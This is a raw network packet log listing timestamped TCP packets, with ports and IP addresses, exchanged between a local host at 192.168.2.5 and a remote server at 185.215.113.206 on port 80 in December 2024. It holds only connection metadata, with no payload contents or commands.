Dec 10, 2024 02:50:35.904242992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.904774904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.904875994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.904917002 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.905879021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.906009912 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.906052113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.906985044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.907022953 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.907118082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.908097982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.908134937 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.908196926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.908232927 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.909231901 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.909342051 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.909382105 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.910307884 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.910423994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.910459042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.911418915 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.911458969 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.911617994 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.912236929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.912528992 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.912565947 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.912623882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.912664890 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.913683891 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.913722992 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.913795948 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.913832903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.914768934 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.914813042 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.914891958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.914930105 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.915887117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.915925980 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.916069031 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.916106939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.916975021 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.917109966 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.917149067 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.918101072 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.918224096 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.918265104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.919224024 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.919266939 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.919339895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.920241117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.920320988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.920373917 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.920403957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.920437098 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.921511889 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.921551943 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.921597958 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.921636105 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.922533035 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.922570944 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.922637939 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.922677040 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.923652887 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.923692942 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.923757076 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.923794985 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:35.924707890 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:35.928235054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.071881056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.071934938 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.071984053 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.072020054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.072334051 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.072396994 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.072458982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.072499990 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.073472977 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.073606968 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.073636055 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.073672056 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.074567080 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.074609041 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.074666977 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.074704885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.075659037 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.075697899 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.075778961 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.075820923 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.076801062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.076842070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.076890945 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.076931000 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.077879906 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.077925920 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.078000069 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.078039885 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.079025984 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.079063892 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.079132080 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.079171896 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.080105066 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.080146074 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.080215931 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.080259085 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.081213951 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.081253052 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.081314087 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.081350088 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.082329988 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.082371950 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.082580090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.082624912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.083460093 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.083502054 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.083554983 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.083589077 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.084585905 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.084625959 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.084662914 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.084701061 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.085664034 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.085702896 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.085758924 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.085796118 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.086783886 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.086819887 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.086937904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.086978912 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.087886095 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.087925911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.088002920 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.088043928 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.088992119 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.089030027 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.089090109 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.089129925 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.090114117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.090152979 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.090276957 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.090316057 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.091198921 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.091240883 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.091317892 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.091355085 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.092314005 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.092355967 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.092417002 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.092452049 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.093441010 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.093482018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.093554020 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.093615055 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.094582081 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.094623089 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.094692945 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.094731092 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.095668077 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.095705032 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.095778942 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.095820904 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.133654118 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.252834082 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.570010900 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.570058107 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.570095062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.570127964 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.570374012 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.570413113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.570492029 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.570528984 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.571408033 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.571461916 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.571520090 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.571561098 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.572540045 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.572591066 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.572645903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.572685003 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.573637962 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.573685884 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.573748112 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.573781013 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.574750900 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.574790001 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.574992895 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.575033903 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.575887918 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.575925112 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.576004982 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.576040983 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.576984882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.577039957 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.577066898 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.577104092 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.578093052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.578138113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.578206062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.578243017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.579189062 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.579226971 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.579293013 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.579328060 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.580302954 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.580341101 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.580415010 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.580455065 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.581407070 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.581458092 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.581518888 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.581557989 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.582513094 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.582549095 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.582632065 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.582673073 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.583633900 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.583679914 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.583741903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.583779097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.584739923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.584778070 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.584829092 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.584867954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.585855007 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.585901022 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.585952044 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.585984945 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.586951017 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.586991072 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.587054968 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.587088108 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.588059902 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.588104963 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.588170052 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.588207006 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.589169979 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.589287043 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.589303017 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.589327097 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.590284109 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.590322018 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.590399027 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.590435028 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.591403008 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.591440916 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.591521025 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.591552973 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.592519045 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.592555046 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.592595100 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.592629910 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.734517097 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.734576941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.734718084 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.734920979 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.734985113 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.735028028 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.735079050 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.735125065 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.736030102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.736076117 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.736124039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.736166954 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.737133026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.737175941 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.737240076 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.737283945 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.738236904 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.738279104 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.738351107 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.738395929 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.739362955 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.739408016 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.739459038 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.739502907 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.740508080 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.740556002 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.740638018 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.740683079 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.741571903 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.741619110 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.741689920 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.741733074 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.742669106 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.742714882 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.742778063 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.742820024 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.743796110 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.743839979 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.743908882 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.743951082 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.744904995 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.744951010 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.745018005 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.745062113 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.746012926 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.746056080 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.746115923 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.746162891 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.747128963 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.747174978 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.747261047 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.747307062 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.748254061 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.748300076 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.748366117 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.748410940 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.749553919 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.749614000 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.749646902 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.749686956 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.750473022 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.750518084 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.750571966 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.750617027 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.751564026 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.751607895 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.751660109 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.751703978 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.752677917 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.752724886 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.752850056 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.752897978 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.753817081 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.753866911 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.753956079 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.753999949 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.754904985 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.754945993 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.755002975 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.755042076 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.756009102 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.756067038 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.756103039 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.756145000 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.757132053 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.757174015 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.757235050 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.757278919 CET	49763	80	192.168.2.5	185.215.113.206
Dec 10, 2024 02:50:36.758248091 CET	80	49763	185.215.113.206	192.168.2.5
Dec 10, 2024 02:50:36.758292913 CET	49763	80	192.168.2.5	185.215.113.206
